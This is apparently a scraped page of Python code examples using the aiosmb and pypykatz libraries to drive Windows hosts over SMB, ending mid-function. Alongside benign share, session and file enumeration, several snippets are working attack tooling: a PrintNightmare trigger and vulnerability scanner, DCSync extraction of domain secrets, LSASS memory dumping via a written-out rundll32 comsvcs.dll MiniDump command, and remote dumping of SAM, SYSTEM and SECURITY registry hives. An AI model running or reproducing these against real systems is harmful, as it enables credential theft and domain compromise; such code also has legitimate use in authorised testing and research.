Example #1
0
    async def do_smbfiles(self, cmd, out_q, cancel_token):
        try:
            connection, err = self.get_smb_connection(cmd)
            if err is not None:
                await out_q.put(NestOpErr(cmd.token, str(err)))
                return
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err
                async with SMBMachine(connection) as machine:
                    async for obj, otype, err in machine.enum_all_recursively(
                            depth=cmd.depth):
                        if otype[0].upper() in ['F', 'D']:
                            reply = NestOpSMBFileRes()
                            reply.token = cmd.token
                            reply.machine_ad_id = None
                            reply.machine_sid = None
                            reply.otype = otype
                            reply.unc_path = obj.unc_path
                            await out_q.put(reply)

            await out_q.put(NestOpOK(cmd.token))
        except asyncio.CancelledError:
            return
        except Exception as e:
            traceback.print_exc()
            print('do_smbfiles error! %s' % e)
            await out_q.put(NestOpErr(cmd.token, str(e)))
        finally:
            cancel_token.set()
Example #2
0
async def printnightmare(url, dll_path, driverpath=None):
    try:
        from aiosmb.commons.connection.url import SMBConnectionURL
        from aiosmb.commons.interfaces.machine import SMBMachine

        smburl = SMBConnectionURL(url)
        connection = smburl.get_connection()

        async with connection:
            logger.debug('[PRINTNIGHTMARE] Connecting to server...')
            _, err = await connection.login()
            if err is not None:
                raise err

            machine = SMBMachine(connection)
            logger.debug('[PRINTNIGHTMARE] Connected!')
            logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
            _, err = await machine.printnightmare(dll_path, driverpath)
            if err is not None:
                raise err
            logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
            return True, None
    except Exception as e:
        import traceback
        traceback.print_exc()
        return None, e
Example #3
0
	async def __executor(self, tid, target):
		try:
			connection = self.smb_mgr.create_connection_newtarget(target)
			async with connection:
				_, err = await connection.login()
				if err is not None:
					raise err

				nonexistentpath = "C:\\doesntexist\\%s.dll" % os.urandom(4).hex()
				async with SMBMachine(connection) as machine:
					_, err = await asyncio.wait_for(machine.printnightmare(nonexistentpath, None, silent=True), 10)
					if err is not None:
						er = EnumResult(tid, target, 'OK')
						if str(err).find('ERROR_PATH_NOT_FOUND') != -1:
							er = EnumResult(tid, target, 'VULN')
						await self.res_q.put(er)

					_, err = await asyncio.wait_for(machine.par_printnightmare(nonexistentpath, None, silent=True), 10)
					if err is not None:
						er = EnumResult(tid, target, 'OK')
						if str(err).find('ERROR_PATH_NOT_FOUND') != -1:
							er = EnumResult(tid, target, 'VULN')
						await self.res_q.put(er)
					

		except asyncio.CancelledError:
			return
		except Exception as e:
			await self.res_q.put(EnumResult(tid, target, None, error = e, status = EnumResultStatus.ERROR))
		finally:
			await self.res_q.put(EnumResult(tid, target, None, status = EnumResultStatus.FINISHED))
Example #4
0
	async def do_login(self, url = None):
		"""Connects to the remote machine"""
		try:
			if self.conn_url is None and url is None:
				print('No url was set, cant do logon')
			if url is not None:
				self.conn_url = SMBConnectionURL(url)

			cred = self.conn_url.get_credential()
			
			if cred.secret is None and cred.username is None and cred.domain is None:
				self.is_anon = True			
			
			self.connection  = self.conn_url.get_connection()
			
			logger.debug(self.conn_url.get_credential())
			logger.debug(self.conn_url.get_target())

			_, err = await self.connection.login()
			if err is not None:
				raise err
			self.machine = SMBMachine(self.connection)
			if self.silent is False:
				print('Login success')
			return True, None
		except Exception as e:
			traceback.print_exc()
			print('Login failed! Reason: %s' % str(e))
			return False, e
Example #5
0
    async def __executor(self, tid, target):
        try:
            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                machine = SMBMachine(connection)
                async for obj, otype, err in machine.enum_all_recursively(
                        depth=self.depth,
                        maxentries=self.max_items,
                        fetch_share_sd=self.fetch_share_sd,
                        fetch_dir_sd=self.fetch_dir_sd,
                        fetch_file_sd=self.fetch_file_sd,
                        exclude_share=self.exclude_share,
                        exclude_dir=self.exclude_dir):
                    er = EnumResult(tid, target, (obj, otype, err))
                    await self.res_q.put(er)

        except asyncio.CancelledError:
            return
        except Exception as e:
            await self.res_q.put(
                EnumResult(tid,
                           target,
                           None,
                           error=e,
                           status=EnumResultStatus.ERROR))
        finally:
            await self.res_q.put(
                EnumResult(tid, target, None,
                           status=EnumResultStatus.FINISHED))
Example #6
0
    async def __executor(self, tid, target):
        try:
            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                machine = SMBMachine(connection)
                ifs, err = await machine.list_interfaces()
                if err is not None:
                    raise err
                for iface in ifs:
                    er = EnumResult(tid, target, iface)
                    await self.res_q.put(er)

        except asyncio.CancelledError:
            return
        except Exception as e:
            await self.res_q.put(
                EnumResult(tid,
                           target,
                           None,
                           error=e,
                           status=EnumResultStatus.ERROR))
        finally:
            await self.res_q.put(
                EnumResult(tid, target, None,
                           status=EnumResultStatus.FINISHED))
Example #7
0
async def dcsync(url, username = None):
	from aiosmb.commons.connection.url import SMBConnectionURL
	from aiosmb.commons.interfaces.machine import SMBMachine

	smburl = SMBConnectionURL(url)
	connection = smburl.get_connection()

	users = []
	if username is not None:
		users.append(username)

	async with connection:
		logging.debug('[DCSYNC] Connecting to server...')
		_, err = await connection.login()
		if err is not None:
			raise err
		
		logging.debug('[DCSYNC] Connected to server!')
		logging.debug('[DCSYNC] Running...')

		i = 0
		async with SMBMachine(connection) as machine:
			async for secret, err in machine.dcsync(target_users=users):
				if err is not None:
					raise err
				i += 1
				if i % 1000 == 0:
					logging.debug('[DCSYNC] Running... %s' % i)
				await asyncio.sleep(0)
				yield secret
		
		logging.debug('[DCSYNC] Finished!')
		
Example #8
0
async def amain(url):
    print(1)
    conn_url = SMBConnectionURL(url)
    print(2)
    connection = conn_url.get_connection()
    await connection.login()
    print(3)

    async with SMBMachine(connection) as computer:
        async with SMBDRSUAPI(connection, 'TEST') as drsuapi:
            try:
                _, err = await drsuapi.connect()
                _, err = await drsuapi.open()
                if err is not None:
                    raise err

                async for username, user_sid, err in computer.list_domain_users(
                        target_domain='TEST'):
                    #print(username)

                    x, err = await drsuapi.DRSCrackNames(name=username)
                    if err is not None:
                        raise err

                    #print(x.dump())
                    #await asyncio.sleep(0.01)

            except Exception as e:
                logging.exception('error!')
                raise e
Example #9
0
    async def __executor(self, tid, target):
        try:
            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                machine = SMBMachine(connection)
                async for path, otype, err in machine.enum_all_recursively(
                        depth=self.depth):
                    er = EnumResult(tid, target, (path, otype, err))
                    await self.res_q.put(er)

        except asyncio.CancelledError:
            return
        except Exception as e:
            await self.res_q.put(
                EnumResult(tid,
                           target,
                           None,
                           error=e,
                           status=EnumResultStatus.ERROR))
        finally:
            await self.res_q.put(
                EnumResult(tid, target, None,
                           status=EnumResultStatus.FINISHED))
Example #10
0
	async def enum_host(self, atarget):
		connection = None
		try:
			tid, target = atarget

			connection = self.smb_mgr.create_connection_newtarget(target)
			async with connection:
				_, err = await connection.login()
				if err is not None:
					raise err

				machine = SMBMachine(connection)
				maxerr = self.host_max_errors
				async for obj, otype, err in machine.enum_all_recursively(depth = self.depth, fetch_share_sd = self.fetch_share_sd, fetch_dir_sd = self.fetch_dir_sd, fetch_file_sd=self.fetch_file_sd, maxentries = self.max_entries):
					otype = otype.lower()
					if err is not None:
						await self.out_q.put((tid, connection.target, None, 'Failed to perform file enum. Reason: %s' % format_exc(err)))
						break
							
					else:
						try:
							if otype not in ['share', 'file', 'dir']:
								continue
							
							sf = SMBFile()
							sf.machine_sid = tid
							sf.unc = obj.unc_path
							sf.otype = otype

							if otype == 'share':
								continue
							
							if otype in ['file', 'dir']:
								sf.creation_time = obj.creation_time
								sf.last_access_time = obj.last_access_time
								sf.last_write_time = obj.last_write_time
								sf.change_time = obj.change_time
								if obj.security_descriptor is not None and obj.security_descriptor != '':
									sf.sddl = obj.security_descriptor.to_sddl()
								if otype == 'file':
									sf.size = obj.size
									sf.size_ext = sizeof_fmt(sf.size)
								await self.out_q.put((tid, connection.target, sf, None))
						except Exception as e:
							maxerr -= 1
							await self.out_q.put((tid, connection.target, None, 'Failed to format file result. Reason: %s' % format_exc(e)))
							if maxerr == 0:
								await self.out_q.put((tid, connection.target, None, 'File Results too many errors. Reason: %s' % format_exc(e)))
								break
				
		except asyncio.CancelledError:
			return

		except Exception as e:
			await self.out_q.put((tid, connection.target, None, 'Failed to connect to host. Reason: %s' % format_exc(e)))
			return

		finally:
			await self.out_q.put((tid, connection.target, None, None)) #target finished
Example #11
0
	async def scan_host(self, target):
		try:
			#spneg = AuthenticatorBuilder.to_spnego_cred(self.credential, target)
			connection = self.smb_mgr.create_connection_newtarget(target)
			async with connection:
				await connection.login()
				machine = SMBMachine(connection)

				if 'all' in self.gather or 'shares' in self.gather:
					async for smbshare, err in machine.list_shares():
						if err is not None:
							await self.out_q.coro_put((connection.target, None, 'Failed to list shares. Reason: %s' % format_exc(err)))
							continue
						share = NetShare()
						share.ip = connection.target.get_ip()
						share.netname = smbshare.name
						share.type = smbshare.type
						share.remark = smbshare.remark

						await self.out_q.coro_put((connection.target, share, None))
					
				
				if 'all' in self.gather or 'sessions' in self.gather:
					async for session, err in machine.list_sessions():
						if err is not None:
							await self.out_q.coro_put((connection.target, None, 'Failed to get sessions. Reason: %s' % format_exc(err)))
							continue

						sess = NetSession()
						sess.source = connection.target.get_ip()
						sess.ip = session.ip_addr.replace('\\','').strip()
						sess.username = session.username

						await self.out_q.coro_put((connection.target, sess, None))

				if 'all' in self.gather or 'localgroups' in self.gather:
					for group_name in self.localgroups:
						async for domain_name, user_name, sid, err in machine.list_group_members(domain_name, group_name):
							if err is not None:
								await self.out_q.coro_put((connection.target, None, 'Failed to connect to poll group memeberships. Reason: %s' % format_exc(err)))
								continue

							lg = LocalGroup()
							lg.ip = connection.target.get_ip()
							lg.hostname = connection.target.get_hostname()
							lg.sid = sid
							lg.groupname = group_name
							lg.domain = domain_name
							lg.username = user_name
							await self.out_q.coro_put((connection.target, lg, None))
		
		except Exception as e:
			await self.out_q.coro_put((connection.target, None, 'Failed to connect to host. Reason: %s' % format_exc(e)))
			return

		finally:
			await self.out_q.coro_put((connection.target, None, None)) #target finished
Example #12
0
async def test(url_str):

    url = SMBConnectionURL(url_str)
    connection = url.get_connection()
    _, err = await connection.login()
    if err is not None:
        print(err)
        raise err
    machine = SMBMachine(connection)
    async for share, err in machine.list_shares():
        if err is not None:
            print(err)
            raise err

        print(share)
Example #13
0
    async def do_login(self, url=None):
        try:
            if self.conn_url is None and url is None:
                print('No url was set, cant do logon')
            if url is not None:
                self.conn_url = SMBConnectionURL(url)

            self.connection = self.conn_url.get_connection()

            logger.debug(self.conn_url.get_credential())
            logger.debug(self.conn_url.get_target())

            await self.connection.login()
            self.machine = SMBMachine(self.connection)
        except Exception as e:
            traceback.print_exc()
        else:
            print('Login success')
Example #14
0
    async def do_login(self, url=None):
        """Connects to the remote machine"""
        try:
            if self.conn_url is None and url is None:
                print('No url was set, cant do logon')
            if url is not None:
                self.conn_url = SMBConnectionURL(url)

            self.connection = self.conn_url.get_connection()

            logger.debug(self.conn_url.get_credential())
            logger.debug(self.conn_url.get_target())

            _, err = await self.connection.login()
            if err is not None:
                raise err
            self.machine = SMBMachine(self.connection)
        except Exception as e:
            traceback.print_exc()
            print('Login failed! Reason: %s' % str(err))
        else:
            print('Login success')
Example #15
0
async def lsassdump_single(targetid,
                           connection,
                           method='task',
                           remote_base_path='C:\\Windows\\Temp\\',
                           remote_share_name='\\c$\\Windows\\Temp\\',
                           chunksize=64 * 1024,
                           packages=['all']):
    try:
        from aiosmb.commons.exceptions import SMBException
        from aiosmb.wintypes.ntstatus import NTStatus
        from aiosmb.commons.interfaces.machine import SMBMachine
        from pypykatz.alsadecryptor.asbmfile import SMBFileReader
        from aiosmb.commons.interfaces.file import SMBFile
        from pypykatz.apypykatz import apypykatz

        if remote_base_path.endswith('\\') is False:
            remote_base_path += '\\'

        if remote_share_name.endswith('\\') is False:
            remote_share_name += '\\'

        fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
        filepath = remote_base_path + fname
        filesharepath = remote_share_name + fname

        if method == 'task':
            cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
                filepath)
            commands = [cmd]

        elif method == 'service':
            cmd = ''

        else:
            raise Exception('Unknown execution method %s' % method)

        mimi = None
        async with connection:
            logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid)
            _, err = await connection.login()
            if err is not None:
                raise err
            logger.debug('[LSASSDUMP][%s] Connected!' % targetid)
            async with SMBMachine(connection) as machine:
                if method == 'task':
                    logger.debug(
                        '[LSASSDUMP][%s] Start dumping LSASS with taskexec method!'
                        % targetid)
                    smbfile_inner, err = await machine.task_dump_lsass()

                    if err is not None:
                        raise err

                    smbfile = SMBFileReader(smbfile_inner)

                    #logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid)
                    #logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath))
                    #_, err = await machine.tasks_execute_commands(commands)
                    #if err is not None:
                    #	raise err
                    #
                    #logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid)
                    #for _ in range(5):
                    #	logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid)
                    #	await asyncio.sleep(5)
                    #	smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
                    #	_, err = await smbfile.open(connection)
                    #	if err is not None:
                    #		if isinstance(err, SMBException):
                    #			if err.ntstatus == NTStatus.SHARING_VIOLATION:
                    #				logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid)
                    #				#await asyncio.sleep(1)
                    #				continue
                    #		raise err
                    #	break
                    #else:
                    #	raise err

                elif method == 'service':
                    logger.debug(
                        '[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!'
                        % targetid)
                    smbfile_inner, err = await machine.service_dump_lsass()

                    if err is not None:
                        raise err
                    smbfile = SMBFileReader(smbfile_inner)

                else:
                    raise Exception('Unknown execution method %s' % method)

            logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
            logger.debug(
                '[LSASSDUMP][%s] parsing LSASS dump file on the remote host...'
                % targetid)
            mimi = await apypykatz.parse_minidump_external(smbfile,
                                                           chunksize=chunksize,
                                                           packages=packages)

            logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
            logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' %
                         targetid)
            _, err = await smbfile.delete()
            if err is not None:
                print('[%s] Failed to delete LSASS file! Reason: %s' %
                      (targetid, err))
            else:
                print('[%s] Remote LSASS file deleted OK!' % targetid)

        return targetid, mimi, None
    except Exception as e:
        import traceback
        traceback.print_exc()
        return targetid, None, e
Example #16
0
async def amain():
    import argparse
    import sys
    import logging

    parser = argparse.ArgumentParser(
        description='Registry manipulation via SMB')
    SMBConnectionParams.extend_parser(parser)
    parser.add_argument('-v', '--verbose', action='count', default=0)
    parser.add_argument(
        'url',
        help=
        'Connection URL base, target can be set to anything. Owerrides all parameter based connection settings! Example: "smb2+ntlm-password://TEST\\victim@test"'
    )
    parser.add_argument(
        'commands',
        nargs='*',
        help=
        'Commands in the following format: "r:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest:Negotiate"'
    )

    args = parser.parse_args()

    if args.verbose >= 1:
        logger.setLevel(logging.DEBUG)

    if args.verbose > 2:
        print('setting deepdebug')
        logger.setLevel(1)  #enabling deep debug
        asyncio.get_event_loop().set_debug(True)
        logging.basicConfig(level=logging.DEBUG)

    commands = []
    smb_url = None
    if args.url is not None:
        smb_url = args.url
    else:
        try:
            smb_url = SMBConnectionParams.parse_args(args)
        except Exception as e:
            print(
                'Either URL or all connection parameters must be set! Error: %s'
                % str(e))
            sys.exit(1)

    #pre-parsing commands
    for cmd in args.commands:
        c, path = cmd.split(':', 1)
        c = SMBREG_COMMAND(c.upper())
        commands.append((c, path))

    connection = SMBConnectionURL(smb_url).get_connection()
    _, err = await connection.login()
    if err is not None:
        print('Login failed! Reason: %s' % str(err))
        return
    machine = SMBMachine(connection)
    #async for srv, err in machine.list_services():
    #	if err is not None:
    #		print(err)
    #		return
    #	print(srv)
    registry_srv_status, err = await machine.check_service_status(
        "RemoteRegistry")
    if err is not None:
        print('Check service status error! %s' % err)
        return

    if registry_srv_status != SMBServiceStatus.RUNNING:
        logger.info('RemoteRegistry is not running! Starting it now..')
        res, err = await machine.enable_service("RemoteRegistry")
        if err is not None:
            print(err)
            return
        await asyncio.sleep(5)  #waiting for service to start up

    reg_api, err = await machine.get_regapi()
    if err is not None:
        print(err)
        return

    ## do stuff
    for cmd, target in commands:
        if cmd == SMBREG_COMMAND.READ:
            regpath, name = target.split(':', 1)
            hkey, err = await reg_api.OpenRegPath(regpath)
            if err is not None:
                print(err)
                continue

            val_type, value, err = await reg_api.QueryValue(hkey, name)
            if err is not None:
                print(err)
                continue
            print(value)

        elif cmd == SMBREG_COMMAND.ENUMVALUE:
            hkey, err = await reg_api.OpenRegPath(target)
            if err is not None:
                print(err)
                continue

            i = 0
            while True:
                value_name, value_type, value_data, err = await reg_api.EnumValue(
                    hkey, i)
                i += 1
                if err is not None:
                    print(err)
                    break
                print(value_name)
                print(value_type)
                print(value_data)

        elif cmd == SMBREG_COMMAND.ENUMKEY:
            hkey, err = await reg_api.OpenRegPath(target)
            if err is not None:
                print(err)
                continue
            i = 0
            while True:
                res, err = await reg_api.EnumKey(hkey, i)
                i += 1
                if err is not None:
                    print(err)
                    break

                print(res)
Example #17
0
    async def scan_host(self, atarget):
        try:
            tid, target = atarget

            try:
                if 'all' in self.gather or 'protocols' in self.gather:
                    for protocol in self.protocols:
                        connection = self.smb_mgr.create_connection_newtarget(
                            target)
                        res, _, _, _, err = await connection.protocol_test(
                            [protocol])
                        if err is not None:
                            raise err
                        if res is True:
                            pr = SMBProtocols()
                            pr.machine_sid = tid
                            pr.protocol = protocol.name if protocol != NegotiateDialects.WILDCARD else 'SMB1'
                            await self.out_q.put(
                                (tid, connection.target, pr, None))
            except Exception as e:
                await self.out_q.put(
                    (tid, connection.target, None,
                     'Failed to enumerate supported protocols. Reason: %s' %
                     format_exc(e)))

            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                _, err = await connection.login()
                if err is not None:
                    raise err

                try:
                    extra_info = connection.get_extra_info()
                    if extra_info is not None:
                        f = SMBFinger.from_extra_info(tid, extra_info)
                        await self.out_q.put((tid, connection.target, f, None))
                except Exception as e:
                    await self.out_q.put(
                        (tid, connection.target, None,
                         'Failed to get finger data. Reason: %s' %
                         format_exc(e)))

                machine = SMBMachine(connection)

                if 'all' in self.gather or 'shares' in self.gather:
                    async for smbshare, err in machine.list_shares():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to list shares. Reason: %s' %
                                 format_exc(err)))
                            break
                        else:
                            share = NetShare()
                            share.machine_sid = tid
                            share.ip = connection.target.get_ip()
                            share.netname = smbshare.name
                            share.type = smbshare.type
                            #share.remark = smbshare.remark
                            #if smbshare.remark is not None:
                            #	r = None
                            #	try:
                            #		r = smbshare.remark.decode('utf-16-le')
                            #	except:
                            #		try:
                            #			r = smbshare.remark.decode('latin-1')
                            #		except:
                            #			try:
                            #				r = smbshare.remark.decode('utf-8')
                            #			except:
                            #				r = smbshare.remark
                            #
                            #	if isinstance(r, str):
                            #		r = r.replace('\x00','')
                            #		share.remark = r

                            await self.out_q.put(
                                (tid, connection.target, share, None))

                if 'all' in self.gather or 'sessions' in self.gather:
                    async for session, err in machine.list_sessions():
                        if err is not None:
                            await self.out_q.put(
                                (tid, connection.target, None,
                                 'Failed to get sessions. Reason: %s' %
                                 format_exc(err)))
                            break
                        else:
                            try:
                                sess = NetSession()
                                sess.machine_sid = tid
                                sess.source = connection.target.get_ip()
                                sess.ip = session.ip_addr.replace('\\',
                                                                  '').strip()
                                sess.username = session.username

                                await self.out_q.put(
                                    (tid, connection.target, sess, None))
                            except Exception as e:
                                await self.out_q.put(
                                    (tid, connection.target, None,
                                     'Failed to format session. Reason: %s' %
                                     format_exc(e)))

                if 'all' in self.gather or 'localgroups' in self.gather:
                    for group_name in self.localgroups:
                        async for domain_name, user_name, sid, err in machine.list_group_members(
                                'Builtin', group_name):
                            if err is not None:
                                await self.out_q.put((
                                    tid, connection.target, None,
                                    'Failed to connect to poll group memeberships. Reason: %s'
                                    % format_exc(err)))
                                break
                            else:
                                lg = LocalGroup()
                                lg.machine_sid = tid
                                lg.ip = connection.target.get_ip()
                                lg.hostname = connection.target.get_hostname()
                                lg.sid = sid
                                lg.groupname = group_name
                                lg.domain = domain_name
                                lg.username = user_name
                                await self.out_q.put(
                                    (tid, connection.target, lg, None))

        except asyncio.CancelledError:
            return

        except Exception as e:
            await self.out_q.put(
                (tid, connection.target, None,
                 'Failed to connect to host. Reason: %s' % format_exc(e)))
            return

        finally:
            await self.out_q.put(
                (tid, connection.target, None, None))  #target finished
Example #18
0
async def regdump(url,
                  hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'],
                  remote_base_path='C:\\Windows\\Temp\\',
                  remote_share_name='\\c$\\Windows\\Temp\\',
                  enable_wait=3):
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from aiosmb.commons.interfaces.file import SMBFile
    from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from pypykatz.registry.aoffline_parser import OffineRegistry

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()
    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    po = None

    async with connection:
        logging.debug('[REGDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err

        logging.debug('[REGDUMP] Connected to server!')
        async with SMBMachine(connection) as machine:
            logging.debug(
                '[REGDUMP] Checking remote registry service status...')
            status, err = await machine.check_service_status('RemoteRegistry')
            if err is not None:
                raise err

            logging.debug('[REGDUMP] Remote registry service status: %s' %
                          status.name)
            if status != SMBServiceStatus.RUNNING:
                logging.debug('[REGDUMP] Enabling Remote registry service')
                _, err = await machine.enable_service('RemoteRegistry')
                if err is not None:
                    raise err
                logging.debug('[REGDUMP] Starting Remote registry service')
                _, err = await machine.start_service('RemoteRegistry')
                if err is not None:
                    raise err

                await asyncio.sleep(enable_wait)

            logging.debug(
                '[REGDUMP] Remote registry service should be running now...')
            files = {}
            for hive in hives:
                fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
                remote_path = remote_base_path + fname
                remote_sharepath = remote_share_name + fname
                remote_file = SMBFileReader(
                    SMBFile.from_remotepath(connection, remote_sharepath))
                files[hive.split('\\')[1].upper()] = remote_file

                logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' %
                             (hive, remote_path))
                _, err = await machine.save_registry_hive(hive, remote_path)
                if err is not None:
                    raise err

            #await asyncio.sleep(1)
            for rfilename in files:
                rfile = files[rfilename]
                logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
                _, err = await rfile.open(connection)
                if err is not None:
                    raise err

            try:
                logging.debug('[REGDUMP] Parsing hives...')
                po = await OffineRegistry.from_async_reader(
                    files['SYSTEM'],
                    sam_reader=files.get('SAM'),
                    security_reader=files.get('SECURITY'),
                    software_reader=files.get('SOFTWARE'))
            except Exception as e:
                print(e)

            logging.debug('[REGDUMP] Hives parsed OK!')

            logging.debug('[REGDUMP] Deleting remote files...')
            err = None
            for rfilename in files:
                rfile = files[rfilename]
                err = await rfile.close()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to close hive dump file! %s' %
                        rfilename)

                _, err = await rfile.delete()
                if err is not None:
                    logging.debug(
                        '[REGDUMP] ERR! Failed to delete hive dump file! %s' %
                        rfilename)

            if err is None:
                logging.debug('[REGDUMP] Deleting remote files OK!')
    return po
Example #19
0
async def lsassdump(url,
                    method='taskexec',
                    remote_base_path='C:\\Windows\\Temp\\',
                    remote_share_name='\\c$\\Windows\\Temp\\',
                    chunksize=64 * 1024,
                    packages=['all']):
    from aiosmb.commons.exceptions import SMBException
    from aiosmb.wintypes.ntstatus import NTStatus
    from aiosmb.commons.connection.url import SMBConnectionURL
    from aiosmb.commons.interfaces.machine import SMBMachine
    from pypykatz.alsadecryptor.asbmfile import SMBFileReader
    from aiosmb.commons.interfaces.file import SMBFile
    from pypykatz.apypykatz import apypykatz

    smburl = SMBConnectionURL(url)
    connection = smburl.get_connection()

    if remote_base_path.endswith('\\') is False:
        remote_base_path += '\\'

    if remote_share_name.endswith('\\') is False:
        remote_share_name += '\\'

    fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
    filepath = remote_base_path + fname
    filesharepath = remote_share_name + fname

    if method == 'taskexec':
        cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
            filepath)
        commands = [cmd]

    else:
        raise Exception('Unknown execution method %s' % method)

    mimi = None
    async with connection:
        logging.debug('[LSASSDUMP] Connecting to server...')
        _, err = await connection.login()
        if err is not None:
            raise err
        logging.debug('[LSASSDUMP] Connected!')
        async with SMBMachine(connection) as machine:
            if method == 'taskexec':
                logging.debug(
                    '[LSASSDUMP] Start dumping LSASS with taskexec method!')
                logging.info('[LSASSDUMP] File location: %s' % filepath)
                _, err = await machine.tasks_execute_commands(commands)
                if err is not None:
                    raise err

                logging.debug(
                    '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping'
                )
                await asyncio.sleep(10)

            else:
                raise Exception('Unknown execution method %s' % method)

        logging.debug('[LSASSDUMP] Opening LSASS dump file...')
        for _ in range(3):
            smbfile = SMBFileReader(
                SMBFile.from_remotepath(connection, filesharepath))
            _, err = await smbfile.open(connection)
            if err is not None:
                if isinstance(err, SMBException):
                    if err.ntstatus == NTStatus.SHARING_VIOLATION:
                        logging.debug(
                            '[LSASSDUMP] LSASS dump is not yet ready, retrying...'
                        )
                        await asyncio.sleep(1)
                        continue
                raise err
            break
        else:
            raise err

        logging.debug('[LSASSDUMP] LSASS dump file opened!')
        logging.debug(
            '[LSASSDUMP] parsing LSASS dump file on the remote host...')
        mimi = await apypykatz.parse_minidump_external(smbfile,
                                                       chunksize=chunksize,
                                                       packages=packages)

        logging.debug('[LSASSDUMP] parsing OK!')
        logging.debug('[LSASSDUMP] Deleting remote dump file...')
        _, err = await smbfile.delete()
        if err is not None:
            logging.info(
                '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
        else:
            logging.info('[LSASSDUMP] remote LSASS file deleted OK!')

    return mimi
Example #20
0
async def worker(in_q, out_q, args, output_root):
    while True:
        try:
            connection = await in_q.get()
            if connection is None:
                await out_q.put(None)
                return

            tname = connection.target.get_hostname_or_ip()

            # creating subdir for target
            tf = datetime.datetime.utcnow().strftime("%Y_%m_%d-%H%M")
            con_folder = output_root.joinpath(tname.replace('.', '_'), tf)
            con_folder.mkdir(parents=True, exist_ok=True)

            logger.info('[+] Connecting to %s' % tname)

            try:
                await connection.login()
                logger.info('[+] Connected to %s' % tname)
            except Exception as e:
                logger.exception('Failed to connect to %s' % tname)
                if con_folder is not None:
                    with open(con_folder.joinpath('error.txt'), 'w') as f:
                        f.write(
                            'Error during initial SMB connection! \r\n Error text: \r\n%s'
                            % str(e))

                continue

            async with SMBMachine(connection) as machine:

                if args.cmd in ['dcsync', 'all']:
                    if con_folder is not None:
                        dcsync_folder = con_folder.joinpath('dcsync')
                        dcsync_folder.mkdir(parents=True, exist_ok=True)

                    _, err = await smb_dcsync(machine, dcsync_folder)
                    if err is not None:
                        logger.error(str(err))
                        if con_folder is not None:
                            with open(dcsync_folder.joinpath('error.txt'),
                                      'w') as f:
                                f.write(
                                    'Error during DCSYNC operation! \r\n Error text: \r\n%s'
                                    % str(err))

                if args.cmd in ['registry', 'all']:
                    if con_folder is not None:
                        registry_folder = con_folder.joinpath('registry')
                        registry_folder.mkdir(parents=True, exist_ok=True)
                    _, err = await smb_registry(machine, registry_folder)
                    if err is not None:
                        logger.error(format_tb(err))
                        if con_folder is not None:
                            with open(registry_folder.joinpath('error.txt'),
                                      'w') as f:
                                f.write(
                                    'Error during REGDUMP operation! \r\n Error text: \r\n%s'
                                    % str(err))

                if args.cmd in ['lsass', 'all']:
                    if con_folder is not None:
                        lsass_folder = con_folder.joinpath('lsass')
                        lsass_folder.mkdir(parents=True, exist_ok=True)

                    #checking is procdump is available
                    if Path(args.bin_folder).joinpath(
                            'procdump.exe').exists() is False:
                        logger.error(
                            '[-] Could not locate procdump binaries! Please specify the correct folder where procdump bins are located!'
                        )

                    else:
                        _, err = await smb_task_lsass(
                            machine,
                            lsass_folder,
                            procdump_local_path=args.bin_folder)
                        if err is not None:
                            logger.error(format_tb(err))
                            if con_folder is not None:
                                with open(lsass_folder.joinpath('error.txt'),
                                          'w') as f:
                                    f.write(
                                        'Error during LSASS operation! \r\n Error text: \r\n%s'
                                        % str(err))

            await out_q.put(1)

        except Exception as e:
            logger.exception('[-] Worker died! Reason: %s' % str(e))
            return
Example #21
0
    async def scan_host(self, atarget):
        try:
            tid, target = atarget
            #spneg = AuthenticatorBuilder.to_spnego_cred(self.credential, target)
            connection = self.smb_mgr.create_connection_newtarget(target)
            async with connection:
                await connection.login()

                extra_info = connection.get_extra_info()
                if extra_info is not None:
                    try:
